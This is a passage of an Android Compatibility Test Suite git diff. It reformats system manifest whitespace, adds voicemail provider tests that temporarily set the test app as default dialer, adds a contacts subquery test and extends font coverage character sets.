<permission android:name="android.permission.MANAGE_AUTO_FILL"
- android:protectionLevel="signature" />
+ android:protectionLevel="signature" />
<!-- Allows an app to set the theme overlay in /vendor/overlay
being used.
@@ -3400,7 +3404,7 @@
<!-- Allows an instant app to create foreground services. -->
<permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"
- android:protectionLevel="signature|development|ephemeral|appop" />
+ android:protectionLevel="signature|development|ephemeral|appop" />
<application android:process="system"
android:persistent="true"
@@ -3415,14 +3419,14 @@
android:defaultToDeviceProtectedStorage="true"
android:directBootAware="true">
<activity android:name="com.android.internal.app.ChooserActivity"
- android:theme="@style/Theme.DeviceDefault.Resolver"
- android:finishOnCloseSystemDialogs="true"
- android:excludeFromRecents="true"
- android:documentLaunchMode="never"
- android:relinquishTaskIdentity="true"
- android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
- android:process=":ui"
- android:visibleToInstantApps="true">
+ android:theme="@style/Theme.DeviceDefault.Resolver"
+ android:finishOnCloseSystemDialogs="true"
+ android:excludeFromRecents="true"
+ android:documentLaunchMode="never"
+ android:relinquishTaskIdentity="true"
+ android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation|keyboard|keyboardHidden"
+ android:process=":ui"
+ android:visibleToInstantApps="true">
<intent-filter>
<action android:name="android.intent.action.CHOOSER" />
<category android:name="android.intent.category.DEFAULT" />
@@ -3445,106 +3449,106 @@
</intent-filter>
</activity>
<activity android:name="com.android.internal.app.IntentForwarderActivity"
- android:finishOnCloseSystemDialogs="true"
- android:theme="@style/Theme.NoDisplay"
- android:excludeFromRecents="true"
- android:label="@string/user_owner_label"
- android:exported="true"
- >
+ android:finishOnCloseSystemDialogs="true"
+ android:theme="@style/Theme.NoDisplay"
+ android:excludeFromRecents="true"
+ android:label="@string/user_owner_label"
+ android:exported="true"
+ >
</activity>
<activity-alias android:name="com.android.internal.app.ForwardIntentToParent"
- android:targetActivity="com.android.internal.app.IntentForwarderActivity"
- android:exported="true"
- android:label="@string/user_owner_label">
+ android:targetActivity="com.android.internal.app.IntentForwarderActivity"
+ android:exported="true"
+ android:label="@string/user_owner_label">
</activity-alias>
<activity-alias android:name="com.android.internal.app.ForwardIntentToManagedProfile"
- android:targetActivity="com.android.internal.app.IntentForwarderActivity"
- android:icon="@drawable/ic_corp_icon"
- android:exported="true"
- android:label="@string/managed_profile_label">
+ android:targetActivity="com.android.internal.app.IntentForwarderActivity"
+ android:icon="@drawable/ic_corp_icon"
+ android:exported="true"
+ android:label="@string/managed_profile_label">
</activity-alias>
<activity android:name="com.android.internal.app.HeavyWeightSwitcherActivity"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog"
- android:label="@string/heavy_weight_switcher_title"
- android:finishOnCloseSystemDialogs="true"
- android:excludeFromRecents="true"
- android:process=":ui">
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+ android:label="@string/heavy_weight_switcher_title"
+ android:finishOnCloseSystemDialogs="true"
+ android:excludeFromRecents="true"
+ android:process=":ui">
</activity>
<activity android:name="com.android.internal.app.PlatLogoActivity"
- android:theme="@style/Theme.Wallpaper.NoTitleBar.Fullscreen"
- android:configChanges="orientation|keyboardHidden"
- android:process=":ui">
+ android:theme="@style/Theme.Wallpaper.NoTitleBar.Fullscreen"
+ android:configChanges="orientation|keyboardHidden"
+ android:process=":ui">
</activity>
<activity android:name="com.android.internal.app.DisableCarModeActivity"
- android:theme="@style/Theme.NoDisplay"
- android:excludeFromRecents="true"
- android:process=":ui">
+ android:theme="@style/Theme.NoDisplay"
+ android:excludeFromRecents="true"
+ android:process=":ui">
</activity>
<activity android:name="com.android.internal.app.DumpHeapActivity"
- android:theme="@style/Theme.Translucent.NoTitleBar"
- android:label="@string/dump_heap_title"
- android:finishOnCloseSystemDialogs="true"
- android:noHistory="true"
- android:excludeFromRecents="true"
- android:process=":ui">
+ android:theme="@style/Theme.Translucent.NoTitleBar"
+ android:label="@string/dump_heap_title"
+ android:finishOnCloseSystemDialogs="true"
+ android:noHistory="true"
+ android:excludeFromRecents="true"
+ android:process=":ui">
</activity>
<provider android:name="com.android.server.am.DumpHeapProvider"
- android:authorities="com.android.server.heapdump"
- android:grantUriPermissions="true"
- android:multiprocess="false"
- android:singleUser="true" />
+ android:authorities="com.android.server.heapdump"
+ android:grantUriPermissions="true"
+ android:multiprocess="false"
+ android:singleUser="true" />
<activity android:name="android.accounts.ChooseAccountActivity"
- android:excludeFromRecents="true"
- android:exported="true"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog"
- android:label="@string/choose_account_label"
- android:process=":ui"
- android:visibleToInstantApps="true">
+ android:excludeFromRecents="true"
+ android:exported="true"
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+ android:label="@string/choose_account_label"
+ android:process=":ui"
+ android:visibleToInstantApps="true">
</activity>
<activity android:name="android.accounts.ChooseTypeAndAccountActivity"
- android:excludeFromRecents="true"
- android:exported="true"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog"
- android:label="@string/choose_account_label"
- android:process=":ui"
- android:visibleToInstantApps="true">
+ android:excludeFromRecents="true"
+ android:exported="true"
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+ android:label="@string/choose_account_label"
+ android:process=":ui"
+ android:visibleToInstantApps="true">
</activity>
<activity android:name="android.accounts.ChooseAccountTypeActivity"
- android:excludeFromRecents="true"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog"
- android:label="@string/choose_account_label"
- android:process=":ui"
- android:visibleToInstantApps="true">
+ android:excludeFromRecents="true"
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+ android:label="@string/choose_account_label"
+ android:process=":ui"
+ android:visibleToInstantApps="true">
</activity>
<activity android:name="android.accounts.CantAddAccountActivity"
- android:excludeFromRecents="true"
- android:exported="true"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog.NoActionBar"
- android:process=":ui">
+ android:excludeFromRecents="true"
+ android:exported="true"
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog.NoActionBar"
+ android:process=":ui">
</activity>
<activity android:name="android.accounts.GrantCredentialsPermissionActivity"
- android:excludeFromRecents="true"
- android:exported="true"
- android:theme="@style/Theme.DeviceDefault.Light.DialogWhenLarge"
- android:process=":ui"
- android:visibleToInstantApps="true">
+ android:excludeFromRecents="true"
+ android:exported="true"
+ android:theme="@style/Theme.DeviceDefault.Light.DialogWhenLarge"
+ android:process=":ui"
+ android:visibleToInstantApps="true">
</activity>
<activity android:name="android.content.SyncActivityTooManyDeletes"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog"
- android:label="@string/sync_too_many_deletes"
- android:process=":ui">
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog"
+ android:label="@string/sync_too_many_deletes"
+ android:process=":ui">
</activity>
<activity android:name="com.android.internal.app.ShutdownActivity"
- android:permission="android.permission.SHUTDOWN"
- android:theme="@style/Theme.NoDisplay"
- android:excludeFromRecents="true">
+ android:permission="android.permission.SHUTDOWN"
+ android:theme="@style/Theme.NoDisplay"
+ android:excludeFromRecents="true">
<intent-filter>
<action android:name="com.android.internal.intent.action.REQUEST_SHUTDOWN" />
<category android:name="android.intent.category.DEFAULT" />
@@ -3556,9 +3560,9 @@
</activity>
<activity android:name="com.android.internal.app.NetInitiatedActivity"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
- android:excludeFromRecents="true"
- android:process=":ui">
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+ android:excludeFromRecents="true"
+ android:process=":ui">
</activity>
<activity android:name="com.android.internal.app.SystemUserHomeActivity"
@@ -3575,9 +3579,9 @@
<!-- Activity to prompt user if it's ok to create a new user sandbox for a
specified account. -->
<activity android:name="com.android.internal.app.ConfirmUserCreationActivity"
- android:excludeFromRecents="true"
- android:process=":ui"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert">
+ android:excludeFromRecents="true"
+ android:process=":ui"
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert">
<intent-filter android:priority="1000">
<action android:name="android.os.action.CREATE_USER" />
<category android:name="android.intent.category.DEFAULT" />
@@ -3585,9 +3589,9 @@
</activity>
<activity android:name="com.android.internal.app.UnlaunchableAppActivity"
- android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
- android:excludeFromRecents="true"
- android:process=":ui">
+ android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+ android:excludeFromRecents="true"
+ android:process=":ui">
</activity>
<activity android:name="com.android.settings.notification.NotificationAccessConfirmationActivity"
@@ -3596,14 +3600,14 @@
</activity>
<receiver android:name="com.android.server.BootReceiver"
- android:systemUserOnly="true">
+ android:systemUserOnly="true">
<intent-filter android:priority="1000">
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
<receiver android:name="com.android.server.updates.CertPinInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_PINS" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3611,7 +3615,7 @@
</receiver>
<receiver android:name="com.android.server.updates.IntentFirewallInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_INTENT_FIREWALL" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3619,7 +3623,7 @@
</receiver>
<receiver android:name="com.android.server.updates.SmsShortCodesInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_SMS_SHORT_CODES" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3627,7 +3631,7 @@
</receiver>
<receiver android:name="com.android.server.updates.ApnDbInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="com.android.internal.intent.action.UPDATE_APN_DB" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3635,7 +3639,7 @@
</receiver>
<receiver android:name="com.android.server.updates.CarrierProvisioningUrlsInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_CARRIER_PROVISIONING_URLS" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3643,7 +3647,7 @@
</receiver>
<receiver android:name="com.android.server.updates.TzDataInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_TZDATA" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3651,7 +3655,7 @@
</receiver>
<receiver android:name="com.android.server.updates.CertificateTransparencyLogInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_CT_LOGS" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3659,7 +3663,7 @@
</receiver>
<receiver android:name="com.android.server.updates.LangIdInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_LANG_ID" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3667,7 +3671,7 @@
</receiver>
<receiver android:name="com.android.server.updates.SmartSelectionInstallReceiver"
- android:permission="android.permission.UPDATE_CONFIG">
+ android:permission="android.permission.UPDATE_CONFIG">
<intent-filter>
<action android:name="android.intent.action.UPDATE_SMART_SELECTION" />
<data android:scheme="content" android:host="*" android:mimeType="*/*" />
@@ -3675,7 +3679,7 @@
</receiver>
<receiver android:name="com.android.server.MasterClearReceiver"
- android:permission="android.permission.MASTER_CLEAR">
+ android:permission="android.permission.MASTER_CLEAR">
<intent-filter
android:priority="100" >
<!-- For Checkin, Settings, etc.: action=FACTORY_RESET -->
@@ -3691,12 +3695,12 @@
</receiver>
<service android:name="android.hardware.location.GeofenceHardwareService"
- android:permission="android.permission.LOCATION_HARDWARE"
- android:exported="false" />
+ android:permission="android.permission.LOCATION_HARDWARE"
+ android:exported="false" />
<service android:name="com.android.internal.backup.LocalTransportService"
- android:permission="android.permission.CONFIRM_FULL_BACKUP"
- android:exported="false">
+ android:permission="android.permission.CONFIRM_FULL_BACKUP"
+ android:exported="false">
<intent-filter>
<action android:name="android.backup.TRANSPORT_HOST" />
</intent-filter>
diff --git a/tests/tests/provider/AndroidManifest.xml b/tests/tests/provider/AndroidManifest.xml
index 284841b..380ddd0 100644
--- a/tests/tests/provider/AndroidManifest.xml
+++ b/tests/tests/provider/AndroidManifest.xml
@@ -33,6 +33,8 @@
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL" />
+ <uses-permission android:name="com.android.voicemail.permission.WRITE_VOICEMAIL" />
+ <uses-permission android:name="com.android.voicemail.permission.READ_VOICEMAIL" />
<uses-permission android:name="android.permission.WRITE_CALL_LOG" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.READ_CALL_LOG" />
@@ -94,6 +96,27 @@
android:exported="false"
android:multiprocess="true" />
+ <service
+ android:name="android.provider.cts.contacts.StubInCallService"
+ android:permission="android.permission.BIND_INCALL_SERVICE">
+ <intent-filter>
+ <action android:name="android.telecom.InCallService"/>
+ </intent-filter>
+ <meta-data
+ android:name="android.telecom.IN_CALL_SERVICE_UI"
+ android:value="true"/>
+ </service>
+
+ <activity android:name="android.provider.cts.contacts.StubDialerActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.DIAL"/>
+ <data android:scheme="tel"/>
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.intent.action.DIAL"/>
+ </intent-filter>
+ </activity>
+
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java b/tests/tests/provider/src/android/provider/cts/contacts/StubDialerActivity.java
similarity index 75%
rename from tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
rename to tests/tests/provider/src/android/provider/cts/contacts/StubDialerActivity.java
index 3fbf255..b87343c 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/StubDialerActivity.java
@@ -14,10 +14,15 @@
* limitations under the License.
*/
-package android.graphics.fonts.cts;
+package android.provider.cts.contacts;
import android.app.Activity;
-public class MockActivity extends Activity {
+/**
+ * Does nothing. Listens to the dial intent to make the test eligible to be set as the default
+ * dialer.
+ */
+public class StubDialerActivity extends Activity {
-}
\ No newline at end of file
+
+}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java b/tests/tests/provider/src/android/provider/cts/contacts/StubInCallService.java
similarity index 71%
copy from tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
copy to tests/tests/provider/src/android/provider/cts/contacts/StubInCallService.java
index 3fbf255..4d84782 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/cts/MockActivity.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/StubInCallService.java
@@ -14,10 +14,13 @@
* limitations under the License.
*/
-package android.graphics.fonts.cts;
+package android.provider.cts.contacts;
-import android.app.Activity;
+import android.telecom.InCallService;
-public class MockActivity extends Activity {
+/**
+ * An in-call service that does nothing except allowing CTS provider to be set as a default dialer.
+ */
+public class StubInCallService extends InCallService {
-}
\ No newline at end of file
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java b/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
index 4861669..75561f9 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
@@ -16,16 +16,25 @@
package android.provider.cts.contacts;
+import android.app.Instrumentation;
import android.content.ContentProviderClient;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.database.Cursor;
import android.net.Uri;
+import android.os.ParcelFileDescriptor;
import android.os.RemoteException;
import android.provider.VoicemailContract;
import android.provider.VoicemailContract.Status;
import android.provider.VoicemailContract.Voicemails;
import android.test.InstrumentationTestCase;
+import android.text.TextUtils;
+
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
/**
* CTS tests for voicemail provider accessed through {@link VoicemailContract}.
@@ -38,6 +47,15 @@
private Uri mStatusContentUri;
private String mSourcePackageName;
+ private String mPreviousDefaultDialer;
+
+ private static final String COMMAND_SET_DEFAULT_DIALER = "telecom set-default-dialer ";
+ private static final String COMMAND_GET_DEFAULT_DIALER = "telecom get-default-dialer";
+
+ private static final String PACKAGE = "android.provider.cts";
+
+ private final String FOREIGN_SOURCE = "android.provider.cts.contacts.foreign_source";
+
@Override
protected void setUp() throws Exception {
super.setUp();
@@ -56,6 +74,9 @@
// entries inserted by this package.
mStatusProvider.delete(mStatusContentUri, null, null);
mVoicemailProvider.delete(mVoicemailContentUri, null, null);
+ if (!TextUtils.isEmpty(mPreviousDefaultDialer)) {
+ setDefaultDialer(getInstrumentation(), mPreviousDefaultDialer);
+ }
super.tearDown();
}
@@ -169,8 +190,7 @@
assertEquals(updateDate, cursor.getLong(DATE_INDEX));
assertEquals(updateCallsDuration, cursor.getLong(DURATION_INDEX));
assertEquals(updateSourceData, cursor.getString(SOURCE_DATA_INDEX));
- // Self modifying so DIRTY should be overridden to 0
- assertEquals(0,cursor.getInt(DIRTY_INDEX));
+ assertEquals(1,cursor.getInt(DIRTY_INDEX));
assertEquals(1,cursor.getInt(DELETED_INDEX));
assertEquals(1,cursor.getInt(BACKED_UP_INDEX));
assertEquals(1,cursor.getInt(RESTORED_INDEX));
@@ -186,6 +206,95 @@
cursor.close();
}
+ public void testForeignUpdate_dirty() throws Exception {
+ // only the default dialer has WRITE_VOICEMAIL permission, which can modify voicemails of
+ // a foreign source package.
+ setTestAsDefaultDialer();
+ ContentValues values = new ContentValues();
+ values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+ Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+ mVoicemailProvider.update(uri, new ContentValues(), null, null);
+
+ try (Cursor cursor = mVoicemailProvider
+ .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+ cursor.moveToFirst();
+ assertEquals(1, cursor.getInt(0));
+ }
+ }
+
+ public void testForeignUpdate_explicitNotDirty() throws Exception {
+ setTestAsDefaultDialer();
+ ContentValues values = new ContentValues();
+ values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+ Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+ ContentValues updateValues = new ContentValues();
+ updateValues.put(Voicemails.DIRTY,0);
+ mVoicemailProvider.update(uri, updateValues, null, null);
+
+ try (Cursor cursor = mVoicemailProvider
+ .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+ cursor.moveToFirst();
+ assertEquals(0, cursor.getInt(0));
+ }
+ }
+
+ public void testForeignUpdate_null_dirty() throws Exception {
+ setTestAsDefaultDialer();
+ ContentValues values = new ContentValues();
+ values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+ Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+ ContentValues updateValues = new ContentValues();
+ updateValues.put(Voicemails.DIRTY, (Integer) null);
+ mVoicemailProvider.update(uri, updateValues, null, null);
+
+ try (Cursor cursor = mVoicemailProvider
+ .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+ cursor.moveToFirst();
+ assertEquals(1, cursor.getInt(0));
+ }
+ }
+
+ public void testForeignUpdate_NotNormalized_normalized() throws Exception {
+ setTestAsDefaultDialer();
+ ContentValues values = new ContentValues();
+ values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+ Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+ ContentValues updateValues = new ContentValues();
+ updateValues.put(Voicemails.DIRTY, 2);
+ mVoicemailProvider.update(uri, updateValues, null, null);
+
+ try (Cursor cursor = mVoicemailProvider
+ .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+ cursor.moveToFirst();
+ assertEquals(1, cursor.getInt(0));
+ }
+ }
+
+ public void testLocalUpdate_notDirty() throws Exception {
+
+ ContentValues values = new ContentValues();
+ values.put(Voicemails.DIRTY,1);
+
+ Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(mSourcePackageName), values);
+
+ mVoicemailProvider.update(uri, new ContentValues(), null, null);
+
+ try (Cursor cursor = mVoicemailProvider
+ .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+ cursor.moveToFirst();
+ assertEquals(cursor.getInt(0), 0);
+ }
+ }
+
+
// Data column should be automatically generated during insert.
public void testInsert_doesNotUpdateDataColumn() throws Exception {
@@ -356,4 +465,57 @@
// Expected result.
}
}
+
+ private void setTestAsDefaultDialer() throws Exception{
+ assertTrue(mPreviousDefaultDialer == null);
+ mPreviousDefaultDialer = getDefaultDialer(getInstrumentation());
+ setDefaultDialer(getInstrumentation(),PACKAGE);
+ }
+
+ private static String setDefaultDialer(Instrumentation instrumentation, String packageName)
+ throws Exception {
+ return executeShellCommand(instrumentation, COMMAND_SET_DEFAULT_DIALER + packageName);
+ }
+
+ private static String getDefaultDialer(Instrumentation instrumentation) throws Exception {
+ return executeShellCommand(instrumentation, COMMAND_GET_DEFAULT_DIALER);
+ }
+
+ /**
+ * Executes the given shell command and returns the output in a string. Note that even if we
+ * don't care about the output, we have to read the stream completely to make the command
+ * execute.
+ */
+ private static String executeShellCommand(Instrumentation instrumentation,
+ String command) throws Exception {
+ final ParcelFileDescriptor parcelFileDescriptor =
+ instrumentation.getUiAutomation().executeShellCommand(command);
+ BufferedReader bufferedReader = null;
+ try (InputStream in = new FileInputStream(parcelFileDescriptor.getFileDescriptor())) {
+ bufferedReader = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
+ String string = null;
+ StringBuilder out = new StringBuilder();
+ while ((string = bufferedReader.readLine()) != null) {
+ out.append(string);
+ }
+ return out.toString();
+ } finally {
+ if (bufferedReader != null) {
+ closeQuietly(bufferedReader);
+ }
+ closeQuietly(parcelFileDescriptor);
+ }
+ }
+
+ private static void closeQuietly(AutoCloseable closeable) {
+ if (closeable != null) {
+ try {
+ closeable.close();
+ } catch (RuntimeException rethrown) {
+ throw rethrown;
+ } catch (Exception ignored) {
+ // Quietly.
+ }
+ }
+ }
}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java b/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java
new file mode 100644
index 0000000..ab15977
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/account/ContactsContract_Subquery.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts.account;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.database.Cursor;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.test.AndroidTestCase;
+
+public class ContactsContract_Subquery extends AndroidTestCase {
+ private ContentResolver mResolver;
+ private ContactsContract_TestDataBuilder mBuilder;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mResolver = getContext().getContentResolver();
+ ContentProviderClient provider =
+ mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+ mBuilder = new ContactsContract_TestDataBuilder(provider);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ mBuilder.cleanup();
+ }
+
+ public void testProviderStatus_addedContacts() throws Exception {
+ TestRawContact rawContact1 = mBuilder.newRawContact()
+ .with(RawContacts.ACCOUNT_TYPE, "test_account")
+ .with(RawContacts.ACCOUNT_NAME, "test_name")
+ .insert();
+
+ // Get the total row count.
+ final int allCount;
+ try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null, null, null, null)) {
+ allCount = cursor.getCount();
+ }
+
+ // Make sure CP2 gives the same result with an always-true subquery.
+ try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null,
+ "exists(select 1)", null, null)) {
+ assertEquals(allCount, cursor.getCount());
+ }
+
+ // Make sure CP2 returns no rows with an always-false subquery.
+ try (Cursor cursor = mResolver.query(Contacts.CONTENT_URI, null,
+ "not exists(select 1)", null, null)) {
+ assertEquals(0, cursor.getCount());
+ }
+ }
+}
diff --git a/tests/tests/text/src/android/text/cts/FontCoverageTest.java b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
index 68c9afa..4f66ee7 100644
--- a/tests/tests/text/src/android/text/cts/FontCoverageTest.java
+++ b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
@@ -53,7 +53,13 @@
+ "&[:^Block=Ancient_Greek_Numbers:]&[:^Block=Ancient_Symbols:]]");
private static final UnicodeSet MIN_EXTRAS = new UnicodeSet(
- "[\u0301" // COMBINING ACUTE ACCENT
+ "[\u0300" // COMBINING GRAVE ACCENT
+ + "\u0301" // COMBINING ACUTE ACCENT
+ + "\u0307" // COMBINING DOT ABOVE
+ + "\u0308" // COMBINING DIAERESIS
+ + "\u0313" // COMBINING COMMA ABOVE
+ + "\u0342" // COMBINING GREEK PERISPOMENI
+ + "\u0345" // COMBINING GREEK YPOGEGRAMMENI
+ "\u2010" // HYPHEN
+ "\u2013" // EN DASH
+ "\u2014" // EM DASH
@@ -75,10 +81,12 @@
// Characters outside of MIN_COVERAGE that are needed for some locales.
private static final HashMap<String, UnicodeSet> EXEMPLAR_MAP = new HashMap();
static {
- EXEMPLAR_MAP.put("agq", new UnicodeSet("[{\u0254\u0300}{\u0254\u0302}{\u0254\u0304}"
- + "{\u0254\u030C}{\u025B\u0300}{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}"
- + "{\u0268\u0300}{\u0268\u0302}{\u0268\u0304}{\u0268\u030C}{\u0289\u0300}"
- + "{\u0289\u0302}{\u0289\u0304}{\u0289\u030C}]"));
+ EXEMPLAR_MAP.put("agq", new UnicodeSet("[{\u0186\u0302}{\u0186\u0304}{\u0186\u030C}"
+ + "{\u0190\u0302}{\u0190\u0304}{\u0190\u030C}{\u0197\u0302}{\u0197\u0304}"
+ + "{\u0197\u030C}{\u0244\u0302}{\u0244\u0304}{\u0244\u030C}{\u0254\u0302}"
+ + "{\u0254\u0304}{\u0254\u030C}{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}"
+ + "{\u0268\u0302}{\u0268\u0304}{\u0268\u030C}{\u0289\u0302}{\u0289\u0304}"
+ + "{\u0289\u030C}]"));
EXEMPLAR_MAP.put("am", new UnicodeSet("[\u1200-\u1206\u1208-\u1246\u1248\u124A-\u124D"
+ "\u1260-\u1286\u1288\u128A-\u128D\u1290-\u12AE\u12B0\u12B2-\u12B5\u12B8-\u12BE"
+ "\u12C8-\u12CE\u12D0-\u12D6\u12D8-\u12EE\u12F0-\u12F7\u1300-\u130E\u1310"
@@ -105,12 +113,14 @@
+ "\u0993-\u09A8\u09AA-\u09AF\u09B2\u09B6-\u09B9\u09BC\u09BE-\u09C3\u09C7\u09C8"
+ "\u09CB-\u09CD\u09E6-\u09F2{\u0995\u09CD\u09B7}{\u09A1\u09BC}"
+ "{\u09A2\u09BC}{\u09AF\u09BC}]"));
- EXEMPLAR_MAP.put("bas", new UnicodeSet("[{a\u1DC6}{a\u1DC7}{e\u1DC6}{e\u1DC7}{i\u1DC6}"
- + "{i\u1DC7}{o\u1DC6}{o\u1DC7}{u\u1DC6}{u\u1DC7}{\u0254\u0300}{\u0254\u0302}"
- + "{\u0254\u0304}{\u0254\u030C}{\u0254\u1DC6}{\u0254\u1DC7}{\u025B\u0300}"
- + "{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}{\u025B\u1DC6}{\u025B\u1DC7}]"));
- EXEMPLAR_MAP.put("bg", new UnicodeSet("[\u2116{\u0430\u0300}{\u043E\u0300}{\u0443\u0300}"
- + "{\u044A\u0300}{\u044E\u0300}{\u044F\u0300}]"));
+ EXEMPLAR_MAP.put("bas", new UnicodeSet("[{A\u1DC6}{A\u1DC7}{E\u1DC6}{E\u1DC7}{I\u1DC6}"
+ + "{I\u1DC7}{O\u1DC6}{O\u1DC7}{U\u1DC6}{U\u1DC7}{a\u1DC6}{a\u1DC7}{e\u1DC6}"
